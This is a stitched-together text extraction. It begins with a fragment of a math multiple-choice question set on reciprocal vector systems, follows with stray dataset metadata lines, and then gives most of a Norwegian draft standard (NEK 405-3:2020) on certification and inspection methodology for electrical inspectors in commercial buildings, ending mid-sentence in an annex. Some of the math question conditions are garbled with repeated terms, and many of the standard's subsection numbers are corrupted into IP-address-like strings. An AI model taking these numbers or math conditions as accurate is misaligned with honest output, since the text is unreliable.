\overrightarrow{a}' & \overrightarrow{b}' & \overrightarrow{c}' \end{array} \right]^{-1}$ is (A) $2 \left[ \begin{array}{ccc} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \end{array} \right]$ (B) $\left[ \begin{array}{ccc} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \end{array} \right]$ (C) $3 \left[ \begin{array}{ccc} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \end{array} \right]$ (D) 0 417. If $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ be any three non coplanar vectors. Then the system of vectors $\overrightarrow{a}'$, $\overrightarrow{b}'$ and $\overrightarrow{c}'$, which satisfies $\overrightarrow{a} \cdot \overrightarrow{a}' = \overrightarrow{b} \cdot \overrightarrow{b}' = \overrightarrow{c} \cdot \overrightarrow{c}' = 1$ $\overrightarrow{a} \cdot \overrightarrow{b}' = \overrightarrow{a} \cdot \overrightarrow{a}', = \overrightarrow{b} \cdot \overrightarrow{a}', = \overrightarrow{b} \cdot \overrightarrow{c}', = \overrightarrow{c} \cdot \overrightarrow{a}', = \overrightarrow{c} \cdot \overrightarrow{b}', = 0$ is called the reciprocal system to the vectors $\overrightarrow{a}$, $\overrightarrow{b}$, and $\overrightarrow{c}$. The value of $\left( \overrightarrow{a} \times \overrightarrow{a}' \right) + \left( \overrightarrow{b} \times \overrightarrow{b}' \right) + \left( \overrightarrow{c} \times \overrightarrow{c}' \right)$ is (A) $\overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c}$ (B) $\overrightarrow{a}', + \overrightarrow{b}', + \overrightarrow{c}'$ (C) 0 (D) none of these 418. If $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ be any three non coplanar vectors. Then the system of vectors $\overrightarrow{a}'$, $\overrightarrow{b}'$ and $\overrightarrow{c}'$, which satisfies $$\overrightarrow{a} \cdot \overrightarrow{a}' = \overrightarrow{b} \cdot \overrightarrow{b}' = \overrightarrow{c} \cdot \overrightarrow{c}' = 1 \quad \overrightarrow{a} \cdot \overrightarrow{b}' = \overrightarrow{a} \cdot \overrightarrow{b}' = \overrightarrow{b} \cdot \overrightarrow{a}' = \overrightarrow{b} \cdot \overrightarrow{c}' = \overrightarrow{c} \cdot \overrightarrow{a}' = \overrightarrow{c} \cdot \overrightarrow{b}' = 0$$ is called the reciprocal system to the vectors $\overrightarrow{a}$, $\overrightarrow{b}$, and $\overrightarrow{c}$. $$[\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}] \left( (\overrightarrow{a}' \times \overrightarrow{b}') + (\overrightarrow{b}' \times \overrightarrow{c}') + (\overrightarrow{c}' \times \overrightarrow{a}') \right) =$$ (A) $\overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c}$ (B) $\overrightarrow{a} + \overrightarrow{b} - \overrightarrow{c}$ (C) $2(\overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c})$ (D) $3(\overrightarrow{a}' + \overrightarrow{b}' + \overrightarrow{c}')$ 419. The vector equation of the plane through the point $2\hat{i} - \hat{j} - 4\hat{k}$ and parallel to the plane $r \cdot (4\hat{i} - 12\hat{j} - 3\hat{k}) - 7 = 0$ is
6a6745cf-ef58-438c-af46-daeca7c9462b
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
188,023
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 NEK 405-3:2020 Norsk elektroteknisk norm Kompetanse for kontrollforetak og personell Del 3: Elkontroll næring – krav til personell, eksaminering, sertifiseringsordning og metodikk Høringsutkast 1.februar 2020 Norsk Elektroteknisk Komité E-post: email@example.com URL: www.nek.no Tlf.: 67 83 31 00 © NEK har opphavsretten til denne publikasjonen. Ingen del av materialet må reproduseres på noen form for medium. For opphevelse av NEKs Copyright kreves i hvert enkelt tilfelle skriftlig avtale med NEK. 45 Innhold 46 93 98 99 Forord 100 Dette dokument er en høringsutgave av NEK 405-3 3. utgave. 101 NEK, Lysaker 1.februar 2020 102 1 Omfang og hensikt 103 104 105 Denne normen fastsetter krav til personer som utfører kontroll av elektriske lavspenningsanlegg og elektrisk utstyr i næring. 106 107 108 109 110 111 112 2 Referanse til offentlig regelverk og normer Denne normen omfatter også bestemmelser fra andre publikasjoner, som daterte eller udaterte referanser. Disse normative referansene kan være nevnt på aktuelle steder i denne normen og de er listet opp nedenfor. Dersom daterte referanser blir endret eller revidert, vil endringen eller revisjonen ikke gjelde for denne normen. De vil bli gjeldende bare gjennom utgivelse av et endringsblad eller en revidert utgave av normen. For udaterte referanser, gjelder den siste utgaven av den refererte publikasjonen. 3 Termer og definisjoner 114 I denne normen gjelder følgende termer og definisjoner: 115 3.1 116 anke 117 anmodning fra søker, kandidat eller sertifisert person om ny behandling av enhver avgjørelse 118 som er foretatt av sertifiseringsorganet i forbindelse med hans/hennes ønskede 119 sertifiseringsstatus eller eksamensresultat 120 [KILDE: NS-EN ISO/IEC 17024 MOD] 121 3.2 122 avvik 123 mangel på oppfyllelse av et krav iht. referansenivået 124 3.3 125 elektrisk installasjon 126 127 sammenkobling av sammenhørende elektrisk utstyr for ett eller flere bestemte formål, og som har innbyrdes tilpassede egenskaper og data 128 [KILDE: NEK 400] 129 3.4 130 elektrisk utstyr 131 gjenstand benyttet for produksjon, omforming, overføring, distribusjon eller bruk av elektrisk 132 energi, så som maskiner, transformatorer, apparater, måleinstrumenter, vern, lednings- 133 systemer, installasjonsmateriell, forbruksapparater 134 [KILDE: NEK 400] 135 3.5 136 elkontroll næring 137 sammenligning mellom tilstand og spesifiserte krav innen næring iht. spesifisert metodikk i 138 denne norm 139 140 3.6 eksaminering 141 mekanisme som er en del av evalueringen, og som måler kandidatens kompetanse på én eller 142 flere måter, for eksempel ved skriftlige, muntlige og praktiske tester eller observasjoner 143 [KILDE: NS-EN ISO/IEC 17024] 144 3.7 145 146 kandidat søker som har oppfylt bestemte forutsetninger som tillater hans/hennes deltakelse i 147 sertifiseringsprosessen 148 [KILDE: NS-EN ISO/IEC 17024] 149 3.8 150 kompetanse 151 152 demonstrert evne til å anvende kunnskap og/eller ferdigheter og, der det er aktuelt, demonstrerte personlige egenskaper, som definert i sertifiseringsordningen 153 [KILDE: NS-EN ISO/IEC 17024] 154 3.9 155 konsekvensgrad 156 uttrykk for alvoret av konsekvenser i forhold til et definert referansenivå 157 [KILDE: NS 3424] 158 3.10 159 kontrollforetak 160 foretak som er registrert i elvirksomhetsregisteret og godkjent iht. kravene i denne norm 161 3.11 162 kvalifikasjon 163 demonstrasjon av personlige egenskaper, utdanning, opplæring og/eller arbeidserfaring 164 [KILDE: NS-EN ISO/IEC 17024] 165 3.12 referansenivå 166 forhåndsdefinerte krav til tilstand eller funksjon 167 3.13 168 sertifikat 169 dokument som er utgitt i henhold til bestemmelsene for sertifiseringsordningen, som er definert 170 i denne normen og som viser at den navngitte personen anses å inneha kompetanse til å utføre 171 de oppgaver som er definert i sertifikatet 172 3.14 173 sertifiseringsordning 174 bestemte sertifiseringskrav knyttet til bestemte kategorier av personer som de samme normer, 175 176 regler og prosedyrer gjelder for [KILDE: NS-EN ISO/IEC 17024] 177 3.15 178 sertifiseringsorgan 179 organisasjon som administrerer prosedyrer for å sertifisere personell i samsvar med kravene i 180 denne norm og som er akkreditert iht. NS-EN ISO/IEC 17024 181 3.16 182 sertifiseringsprosess 183 alle aktiviteter som et sertifiseringsorgan utfører for å fastslå at en person oppfyller bestemte 184 kompetansekrav, medregnet søknad, evaluering, avgjørelse om sertifisering, overvåking og 185 resertifisering, bruk av sertifikater og logoer/merker 186 [KILDE: NS-EN ISO/IEC 17024] 187 3.17 188 sertifiseringssystem 189 sett med prosedyrer og ressurser til å utføre sertifiseringsprosessen med i henhold til en 190 191 sertifiseringsordning, som fører til at et kompetansesertifikat utstedes, medregnet vedlikehold [KILDE: NS-EN ISO/IEC 17024] 192 3.18 193 symptom 194 indikator for hvilken tilstand et objekt befinner seg i 195 [KILDE: NS 3424] 196 3.19 197 tilstand 198 et objekts status vedrørende beskaffenhet og forfatning på et gitt tidspunkt 199 [KILDE: NS 3424] 200 3.20 201 tilstandsanalyse 202 den samlede analyse (definering av oppgave, planlegging, tilstandsregistrering, vurdering og 203 rapportering) på et gitt tidspunkt i henhold til denne normen 204 [KILDE: NS 3424] 205 3.21 206 tilstandsgrad 207 uttrykk for i hvilken tilstand et objekt befinner seg i forhold til et definert referansenivå 208 [KILDE: NS 3424] 209 3.22 210 tilstandskontroll 211 sammenligning mellom tilstand og definerte krav 212 [KILDE: NS 3424] 213 3.23 214 tilstandsregistrering 215 undersøkelse og nedtegning av et objekts tilstand 216 217 [KILDE: NS 3424] 3.24 218 vesentlig avbrudd 219 fravær eller endring av aktivitet som hindrer den sertifiserte personen å praktisere de 220 oppgavene som svarer til vedkommende kompetanse denne er sertifisert for, i en kontinuerlig 221 periode som overstiger 12 måneder innenfor sertifikatets gyldighetstid 222 3.25 223 vurdering [ved sertifisering] 224 prosess som evaluerer om en person har oppfylt kravene i sertifiseringsordningen 225 [KILDE: NS-EN ISO/IEC 17024] 226 4 Krav til kvalifikasjoner, tilleggskompetanse og praksis 227 4.1 Generelt 228 For å utføre kontroll av elektriske installasjoner og elektrisk utstyr i henhold til denne norm må 229 personen oppfylle krav til kvalifikasjoner i henhold til fek §9 med tilleggskompetanse som 230 beskrevet i kapittel 4.2, samt bestått eksamen. 231 232 For å utøve elkontroll etter denne norm skal personen være tilknyttet et sertifisert kontrollforetak som tilfredsstiller kravene til sertifisering i NEK 405-4. 233 MERKNAD - Kravet innebærer at foretaket skal være juridisk identifiserbart. Et inspeksjonsorgan som er en del av 234 en organisasjon som er involvert i andre funksjoner enn inspeksjon, skal være identifiserbar innenfor denne 235 organisasjonen. 236 4.2 Tilleggskompetanse 237 4.2.1 Sikkerhetsopplæring 238 Det må dokumenteres opplæring i henhold til forskrift om sikkerhet ved arbeid i og drift av 239 elektriske anlegg. 240 241 4.2.2 Kompetanse innen elkontroll næring 242 Personen skal inneha nødvendig kompetanse innen elkontroll næring og måleutstyr som spesifisert i kapittel 8 og tillegg A. 243 Personen skal kjenne til kravene til kontrollforetak i NEK 405-4. 244 Merknad: Denne normen setter ikke krav til hvorledes kandidaten skal tilegne seg tilleggskompetansen. 245 Kompetansen kan tilegnes gjennom f.eks. kurs, internopplæring i bedrift eller ved selvstudium. Eksaminering blir 246 derfor den viktigste evalueringsmekanismen for å kvalitetssikre kandidatens kompetanse. 247 4.2.3 Relevant praksis 248 Relevant praksis kan være prosjektering, utførelse, vedlikehold og kontroll av elektriske anlegg, 249 elektrisk utstyr og maskiner i næringsbygg og industri. 250 4.2.4 Tilleggskompetanse innen faglige virkeområder 251 Kontroll av elektriske anlegg i næringsbygg og industri stiller store krav til analytiske evner, 252 forståelse av ukjente problemstillinger og evne til å dokumentere og kommunisere resultater til 253 oppdragsgiver. Den som utfører kontrollen må i tillegg, og som en naturlig del av sin 254 kompetanse, inneha gode kunnskaper om nye og tidligere forskrifter og normer. 255 257 258 259 260 261 262 263 264 Vedkommende som skal utføre kontroll av elektriske installasjoner og elektrisk utstyr skal kunne dokumentere overfor oppdragsgiver at han/hun har nødvendig kompetanse innen relevante typer elektriske installasjoner, maskiner og elektrisk utstyr (faglig virkeområde). MERKNAD - Slike fagområder kan for eksempel være: elektriske anlegg i sykehus, elektriske anlegg i løfteinnretninger (heiser), lavspennings automatiseringsanlegg, elektriske anlegg i Ex-områder, maritime elektriske anlegg, høyspenningsanlegg i bygninger, lavspennings forsyningsanlegg, høyspennings forsyningsanlegg, lavspennings ledningsanlegg, høyspennings ledningsanlegg, elektriske anlegg, elektriske anlegg knyttet til jernbane og sporveisdrift. 5 Eksaminering 265 5.1 Eksamenssenter og eksaminator Eksamenssenter skal være et egnet lokale med nødvendige ressurser som er uavhengig i 266 forhold til kandidaten og godkjent av sertifiseringsorganet. 267 En eksaminator skal være uavhengig slik at det kan foretas upartiske og ikke-diskriminerende 268 bedømminger. 269 270 5.2 Innhold, bedømmelse, gjennomføring av eksaminering og omprøve 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 5.2.1 Rammer for gjennomføring av eksaminering Eksamen skal inneholde flervalgsoppgaver og caseoppgaver. Til flervalgsoppgavene skal det være tre svaralternativer der kun ett alternativ er riktig. Spørsmålene skal være valgt av sertifiseringsorganet på en uforutsigbar måte. Sertifiseringsorgan utarbeider spørsmål til en felles spørsmålsbank. For krav til eksamensform, antall spørsmål, eksamenslengde og krav til bestått, se tabell 1. Tabell 1 - Eksamensinnhold, tid og krav til bestått ved eksamen Kravet til flervalgsoppgaver iht. NEK 405-2 kan utelates dersom kandidaten allerede har bestått eksamen iht. til denne normen. MERKNAD - Spesielle behov (for eksempel bevegelseshemning, dysleksi, bruk av prestasjonshemmende medisiner etc.), må varsles og dokumenteres ved oppmelding, slik at eksamen kan tilrettelegges for søkeren. 5.2.2 Gjennomføring av eksaminering – Alle eksamineringer skal gjennomføres i eksamineringssentre som er godkjent av et sertifiseringsorgan. – Ved eksamineringen skal kandidaten ha gyldig legitimasjon. 286 287 – Kandidaten får ikke benytte noen hjelpemidler under eksamineringen i NEK405-2. – En kandidat som bryter sertifiseringsorganets eksamensreglement skal utelukkes fra videre 288 deltakelse i eksamen og må vente minst 12 måneder før kandidaten kan gå opp til ny 289 eksamen. 290 5.3 Omprøve 291 En kandidat som stryker til eksamen kan ta den om igjen inntil tre ganger, forutsatt at o mprøve 292 foretas først en måned etter siste prøve, men ikke senere enn 12 måneder etter den 293 opprinnelige eksamineringen. 294 En kandidat som ikke klarer siste omprøve, kan søke om ny eksaminering i henhold til prosedyre 295 som benyttes for nye kandidater, men tidligst 12 måneder etter siste omprøve. 296 298 299 300 301 302 303 304 305 306 307 308 309 310 311 Stryker man på kun én del, tas omprøven kun i den delen man har strøket på, eksempelvis, om man har bestått flervalgsoppgavene tar man kun omprøve på caseoppgavene, og vice versa. Tiden man da har til disposisjon på de individuelle delene er i tabell 2. Tabell 2 - Eksamensinnhold, tid og krav til bestått ved omprøve En kandidat som ikke klarer omprøvene, kan søke om ny eksaminering i henhold til prosedyre som benyttes for nye kandidater, men tidligst 12 måneder etter siste omprøve. 5.4 Innhold, bedømmelse, gjennomføring og omprøve ved resertifisering Resertifiseringseksamen består av 40 flervalgsspørsmål med tre svaralternativer der kun ett alternativ er riktig. Flervalgsspørsmålene skal avdekke kandidatens kompetanse innenfor både elkontroll bolig og elkontroll næring. Tabell 3 - Eksamensinnhold, tid og krav til bestått ved resertifisering 5.5 Eksamensbevis 5.5.1 Utstedelse og gyldighet for eksamensbevis Ved bestått eksamen utsteder sertifiseringsorganet et eksamensbevis. Gyldighetsperioden for eksamensbevis er 5 år. 312 5.5.2 Eksamensbevisets innhold Eksamensbeviset skal inneholde: 313 a) Etternavnet og fornavnet til kandidaten 314 315 b) Fødselsdato til kandidaten c) Eksamensbevisets omfang 316 d) Utstedelsesdato for eksamensbevis 317 e) Utløpsdato for eksamensbevis 318 f) Sertifiseringsorganets navn 319 6 Sertifiseringsordning 320 6.1 Sertifiseringskrav og utstedelse av sertifikat 321 For å sertifiseres skal kandidaten oppfylle alle relevante krav til personell angitt i denne norm 322 og ha bestått eksamen med eksamineringsdato innenfor siste 12 mnd. 323 Kandidater som tilfredsstiller disse kravene kvalifiserer til sertifikat. Kandidater som ønsker 324 sertifisering, skal tildeles et sertifikat i A4-format og et i lommeformat. 325 6.2 Sertifikat i A4-format 326 Sertifikatet skal som et minimum inneholde: 327 a) etternavnet og fornavnet til den sertifiserte personen 328 b) fødselsdato til den sertifiserte personen 329 c) sertifikatets utstedelsesdato 330 d) sertifikatets utløpsdato 331 e) sertifiseringsomfanget - hvilke norm(er) 1 332 f) sertifiseringsorganets navn/logo 333 g) et unikt, personlig sertifikatnummer 334 6.3 Sertifikat i lommeformat 335 Sertifikatet i lommeformat skal som et minimum inneholde: 336 a) etternavnet og fornavnet til den sertifiserte personen 337 b) sertifikatets utløpsdato 338 c) sertifiseringsomfanget - hvilke norm(er) 339 340 d) sertifiseringsorganets navn og logo e) et unikt, personlig sertifikatnummer 341 f) foto av den sertifiserte personen 342 6.4 Gyldighet for sertifikat 343 Gyldighetsperioden for sertifikatet er 5 år. Gyldighetsperioden begynner når alle krav til 344 sertifisering er tilfredsstilt, og sertifikat er utstedt. 345 Sertifikatet kan bli ugyldig dersom: 346 a) sertifikatet er utstedt på feil grunnlag 347 b) sertifikatinnehaveren viser åpenbar kunnskapssvikt i sin yrkesutøvelse 348 c) kompetansen ikke blir opprettholdt i samsvar med denne normen 349 d) sertifikatinnehaveren ikke leverer årlig rapport til sertifiseringsorganet innen fristen 350 e) sertifikatet brukes utenfor fastsatt omfang 351 f) sertifiseringsorganet finner bevis for annen uetisk fremferd som ikke er forenlig med 352 prosedyrene for sertifisering 353 g) sertifikatinnehaver påtar seg oppdrag vedkommende ikke kan dokumentere kompetanse på 354 h) et vesentlig avbrudd inntreffer innenfor sertifiseringsomfanget. 355 Sertifiseringsorganet tillegges myndighet til å utøve skjønn i forhold til ovennevnte punkter. 356 6.5 Krav under sertifikatets gyldighetstid 357 Sertifiseringsorganet skal overvåke at sertifikatinnehaveren opprettholder sin kompetanse 358 under sertifikatets gyldighetstid. 359 Sertifikatinnehaver skal sende en årlig rapport til sertifiseringsorganet. Dersom man blir 360 sertifisert etter 1. juli er det ikke behov for rapport over oppdrag i inneværende år. 361 Den årlige rapporten skal bl.a. inneholde informasjon om: 362 a) faglig oppdatering skal attesteres av sertifikatinnehaver ved egenerklæring 363 364 b) attest eller kursbevis på årlig gjennomgang av FSE. 365 366 367 368 369 370 371 372 c) Sporbar liste over oppdrag i løpet av kalenderåret, minimum 4 oppdrag eller 100 timer feltarbeid inklusive rapportering. d) Rapportering av eventuelle klager på sertifikatinnehavers arbeid innenfor sertifikatets gyldighetsområde. Årsrapporten skal være levert til sertifiseringsorganet innen 1. februar i påfølgende kalenderår, for hvert år i sertifikatets gyldighetstid. Første rapport skal leveres inn ved første årsskifte hvis sertifikatet er utstedt før 1. juli og ved neste årsskifte hvis sertifikatet er utstedt etter 1. juli inneværende år. Det må påregnes at det vil bli foretatt stikkprøver fra de innleverte rapportene. ————————— 1 Sertifikatets omfang viser at sertifiseringen dekker både elkontroll næring og brannforebyggende elkontroll bolig Sertifiseringsorganet skal sende en påminnelse til sertifikatinnehaver om fristen for innsending 374 av årsrapport. 375 376 6.6 Resertifisering 377 Ved utløpet av sertifikatets gyldighetsperiode kan sertifiseringen fornyes 378 sertifiseringsorganet for en ny periode på fem år. basert på følgende krav: 379 a) dokumentasjon for tilfredsstillende arbeidsaktivitet uten vesentlig avbrudd og 380 b) gjennomført en tilfredsstillende re-eksaminering etter kravene i kapittel 5.2.4. 381 Sertifiseringsorganet skal varsle sertifikatinnehaver at sertifiseringsperioden utløper i god tid 382 før sertifikatets utløpslik at sertifikatinnehaver kan søke resertifisering før perioden utløper. 383 7 Rett til å anke 384 Kandidaten har rett til å anke på eksamensresultatet og avgjørelser tatt i forbindelse med ønsket 385 sertifiseringsstatus. Klagen og tilhørende saksbehandling følger fremgangsmåte som er fastsatt 386 387 i sertifiseringsorganets prosedyrer. 8 Kontrollmetodikk og rapportering 388 8.1 Kontrollens omfang 389 Dette punktet beskriver hva en elkontroll kan omfatte. De enkelte kontrollpunkter inkluderes 390 etter avtale med oppdragsgiver. Kandidaten skal ha kompetanse og forvente å bli eksaminert i 391 de etterfølgende punkter: 392 393 8.1.1 Generelt En kontroll av elektriske installasjoner og elektrisk utstyr/maskiner skal minst bestå av følgende: 394 - definering av oppgaven 395 - planlegging 396 - registrering 397 - vurdering 398 - 399 rapportering 8.1.2 Definering av oppgaven 400 401 126.96.36.199 Hensikt 402 En forutsetning for gjennomføring av tilstandsanalysen er å definere hensikten med analysen, dvs. å avklare hva analysen skal brukes til. Eksempler kan være: 403 - 404 For å framskaffe manglende tilstandsdokumentasjon (enten for forsvarlig drift eller fordi det er symptomer eller mistanke om svikt). 405 - Som grunnlag for å beskrive en elektrisk installasjons elsikkerhetsnivå og/eller 406 funksjonssikkerhet. 407 - Som grunnlag for vedlikeholdsplaner 408 - Som grunnlag for planlegging av ombygging, utbedring og modernisering 409 - Ferdigbefaring og reklamasjon 410 - For omsetning/overdragelse til ny eier 411 - For inngåelse og avslutning av leieavtaler 412 - For vurdering mot (endrede) myndighetskrav 413 - Som grunnlag for ivaretakelse av plikten til internkontroll 414 - Brannforebyggende elkontroll 415 av 188.8.131.52 Formål Formålet med elkontrollen avtales mellom oppdragsgiver og kontrollforetak. Med kontrollens 417 418 formål menes hvilke forhold (farekilder, uønsket tilstand, avvik mv.) som kontrollen tar sikte på å avdekke, f.eks.: 419 - brannrisiko 420 - strømgjennomgang/berøringsfare 421 - 422 økonomi - energieffektivitet 423 - funksjonsvikt 424 - tilgjengelighet 425 - leveringskvalitet/pålitelighet 426 427 184.108.40.206 Omfang av kontrollen Omfanget bestemmes bl.a. av: 428 - hvilke objekter som omfattes av kontrollen 429 - hvilke områder som omfattes av kontrollen 430 - registreringsnivå 431 - om kostnadsberegning av de anbefalte tiltakene skal gjennomføres 432 - hvor omfattende kontrollen skal være (alle objekter eller et utvalg) 433 En forhåndsbefaring, hvor oppdragsgiver og kontrollforetak deltar, kan være nødvendig for å 434 fastlegge omfanget av kontrollen. 435 Forhåndsbefaringen bestemmer hvilke deler av det elektriske anlegget som skal kontrolleres 436 og hvilket elektrisk utstyr som skal kontrolleres (også benevnt som objekter, se definisjonen av 437 objekt i denne normen). Avgrensningen som gjøres her kan være geografisk knyttet til en 438 bygning eller del av bygning eller den kan være saklig knyttet til en type objekt i en eller flere 439 bygninger. 440 Ved bestemmelse av omfanget av kontrollen skal det fastlegges registreringsnivå for de aktuelle 441 objekter. Dette danner grunnlaget for hva som trengs av dokumentasjon for objektene og for 442 443 hvilke hjelpemidler som er nødvendig i forbindelse med kontrollen. Det må tas stilling til om alle objekter av hver type som finnes i et rom eller innenfor et geografisk 444 område skal omfattes av kontrollen eller om det skal gjøres et utvalg. Det må også tas stilling 445 til om f.eks. alle rom i et hotell eller alle leiligheter i et borettslag skal omfattes eller om det er 446 hensiktsmessig å begrense kontrollen til et utvalg. 447 Hvor omfattende kontrollen skal være har sammenheng med formål og må avtales mellom 448 oppdragsgiver og kontrollforetak. Det må avklares om kontrollen skal omfatte hele anlegget 449 eller deler av anlegget og på hvilket registreringsnivå. For en boliginstallasjon bør elkontroll 450 minst ligge på samme nivå som brannforebyggende elkontroll iht. NEK 405-2. 451 8.1.3 Planlegging 452 Det skal avklares om det foreligger dokumentasjon for de aktuelle objekter, slik de opprinnelig 453 var konstruert/installert, eventuelt ombygget og om det finnes drifts- og vedlikeholds- 454 dokumentasjon. 455 Avhengig av hva som foreligger av dokumentasjon og tilstandsanalysens omfang, skal det 456 bestemmes hvor mye dokumentasjon som må fremskaffes eller utarbeides. 457 Ved stikkprøveundersøkelser skal utvalget av objekter være tilfeldig, dvs. valgt uten påvirkning 458 av forhåndskunnskap om objektene. 459 461 220.127.116.11 Bygning For å kunne planlegge kontrollen må nødvendige opplysninger om bygningen foreligge, f.eks .: 462 - bygningstype 463 - bruksområde for bygningen(e) 464 - tilstøtende bygningsmasse/systemer 465 466 18.104.22.168 Bruker For å kunne planlegge tilstandsanalysen må nødvendige opplysninger om bruker foreligge, 467 468 f.eks.: - type virksomhet 469 - kompetanse hos bruker 470 471 22.214.171.124 Kompleksitet av anlegg For å kunne planlegge tilstandsanalysen, må kompleksiteten av den elektriske installasjonen 472 være kjent. Den kan bestemmes ved hjelp av bl.a. følgende parametre: 473 - fordelingssystem 474 - hovedvern 475 - transformatorstørrelse(r)- kretser 476 - jordingssystem 477 - antall underfordelinger 478 - anleggshistorikk 479 - reserve- og nødkraftsystemer. 480 481 126.96.36.199 Referansenivå Som en del av planleggingen skal det defineres hvilket referansenivå som skal være 482 utgangspunkt for tilstandsanalysen. Referansenivået bestemmes på grunnlag av hensikten og 483 formålet med tilstandsanalysen. Referansenivå kan f.eks. være: 484 - dagens krav til anlegg/objekter 485 - krav som gjaldt da anlegget ble bygget 486 - objektets drifts- og funksjonskrav 487 488 - etc. 489 188.8.131.52 Foreliggende dokumentasjon For å kunne planlegge tilstandsanalysen er det nødvendig å kjenne: 490 - IK/KS 491 - tidligere myndighetsrapporter 492 - rapporter fra innleid firma 493 - termografirapporter 494 - dokumentasjon fra elektroinstallatør/elektroentreprenør 495 - FDV-dokumentasjon 496 - "som-bygget" dokumentasjon (kortslutningsberegninger) 497 - tegninger 498 - etc. 499 500 184.108.40.206 Objekter Som en del av planleggingen skal det bestemmes hvilke objekter som skal tilstandsvurderes. 501 MERKNAD - Det skal f.eks. bestemmes hvilke deler av installasjonen, hvilke komponenter og hvilket utstyr som skal 502 tilstandsvurderes. 503 8.2 Måleutstyr 504 Personen som utfører elkontroll skal: 505 - ha kunnskap om måleutstyrets funksjoner slik at målinger er pålitelige; og 506 - kunne vurdere om utstyrets spesifikasjoner er tilfredsstillende for oppdraget 507 Alt måleutstyr skal være kalibrert i løpet av de siste 12 måneder, eller iht. leverandørens 508 retningslinjer. 509 Strøm- og spenningsmåling skal foretas med utstyr som måler sann RMS. 510 8.3 Tilstandsregistrering 511 Tilstanden angis ved tilstandsgrader. Tilstandsgraden skal være basert på en vurdering av ett 512 eller flere enkeltstående symptomer, eller en samlet vurdering av et sett av symptomer. 513 Symptomene indikerer tilstanden i forhold til det referansenivået som er lagt til grunn for 514 vurdering av tilstanden. 515 Følgende tilstandsgrader benyttes: 516 TG0 Ingen avvik 517 Tilstanden tilsvarer valgt referansenivå eller bedre, ingen symptomer på avvik 518 TG1 Mindre eller moderate avvik 519 520 Normal slitasje. Er vedlikeholdt og har ikke vesentlige mangler. Avvik på dokumentasjon 521 er ikke vesentlig i forhold til referansenivået. Kan også inneholde forslag, informasjon og anbefalinger om tiltak for å heve elsikkerhetsnivået i anlegget. 522 TG2 Vesentlige avvik 523 Delen er sterkt nedslitt eller har en vesentlig skade eller vesentlig redusert funksjon i 524 forhold til referansenivået. Punktvis sterk slitasje og behov for lokale tiltak, eller mangel 525 526 på vesentlig dokumentasjon eller kort gjenværende brukstid eller mangelfull eller feil utført eller mangelfull eller feil vedlikeholdt. 527 TG3 Store eller alvorlige avvik 528 Delen har nært forestående eller total funksjonssvikt, eller det er behov for strakstiltak. 529 530 Kan representere fare for liv og helse. 8.3.1 Vurdering – tilstandskontroll 531 Registrert tilstand skal sammenholdes med forhåndsdefinerte krav som f.eks. byggherrekrav, 532 brukerkrav, myndighetskrav mv. (Se pkt. A1.2). Hvis det påvises negativt avvik fra det 533 referansenivået som er lagt til grunn, innebærer det et registrert avvik. 534 8.4 Rapportering 535 8.4.1 Generelt 536 Rapporten kan inneholde: 537 - Innledning 538 - Konklusjon 539 540 - Hovedrapport - Vedlegg 541 542 8.4.2 Innledning Innledning kan gi følgende opplysninger: 543 - Hensikt/formål med kontrollen 544 - Identifikasjon av anlegg/bygg med adresse 545 546 - Nøkkelopplysninger om det elektriske anlegget - Registreringsomfang og nivå 547 - Tidspunkt for kontrollen 548 - Oppdragsgiver og utførende foretak/sertifisert person 549 8.4.3 Konklusjon 550 Konklusjon kan inneholde følgende punkter: 551 - Hovedkonklusjon/sammendrag 552 - Tilstand 553 - Anbefalte tiltak 554 555 556 557 - anbefalte tiltak skal være angitt og prioritert i samsvar med analysens formål og vurdert risiko. Ved anbefaling av tiltak skal det være angitt når tiltaket bør gjennomføres. - Eventuelle kostnader/økonomi 558 - Anbefalinger for videre framdrift 559 8.4.4 Hovedrapport 560 Hovedrapport kan inneholde: 561 - Registreringer av tilstand 562 - Vurdering av tilstand ved kontroll mot krav/referansenivå 563 - Vurdering av konsekvenser 564 - Vurdering av risiko 565 - Vurdering, anbefaling og prioritering av tiltak 566 - Eventuelle kostnadsberegninger 567 Under alle punkter må det vurderes hvor mye dokumentasjon som skal tas med i 568 hovedrapporten og hva som eventuelt kan være vedlegg. 569 8.4.5 Informasjon om klassifisering av avvik 570 Informasjon om klassifisering av avvik skal fremkomme på en klar og tydelig måte. Dette kan 571 gjøres på følgende måte: 572 - ingen avvik – ikke behov for tiltak (avviksklasse 0) 573 - mindre avvik (avviksklasse 1) 574 - viktige avvik – utbedres iht. nærmere anbefaling (avviksklasse 2) 575 576 - alvorlige avvik – utbedres straks (avviksklasse 3) 8.5 Vedlegg 577 Supplerende materiale fra kontrollen som det ikke er nødvendig å ta med i hovedrapporten, kan 578 vedlegges. 579 581 Tillegg A (normativt) 582 Elkontroll i driftsbygninger i landbruket eller veksthus A.1 Generelt 583 Dette tillegget skal brukes ved elkontroll i driftsbygninger i landbruket eller veksthus, gitt at bruk 584 av tillegget er avtalt mellom partene. 585 Tillegget inngår som del av NEK 405-3. Det innebærer at de generelle kravene til kompetanse 586 587 og sertifisering, samt krav til bestått tilleggseksamen slik de fremgår i A.4 gjelder. VEILEDNING 1 – Ved elkontroll av driftsbygning er det naturlig å gjennomføre elkontroll i bolighus tilknyttet 588 driftsbygningen. Slike elkontroller skal gjennomføres i samsvar med NEK 405-2. I tillegg anbefales det å gjennomføre 589 elektrotermografering i samsvar med NEK 405-1. 590 VEILEDNING 2 – Elkontrolløren bør som hovedregel også være sertifisert etter NEK 405-1, slik at elkontroll og 591 termografering kan kombineres. Krav til personell og metode for gjennomføring av elektrotermografi følger av NEK 592 405-1. 593 VEILEDNING 3 – Elkontrolløren oppfordres til å bruke elektroniske verktøy for datainnsamling. 594 A.2 Aktsomhet 595 Elkontrolløren skal ha kunnskap om og vise særlig 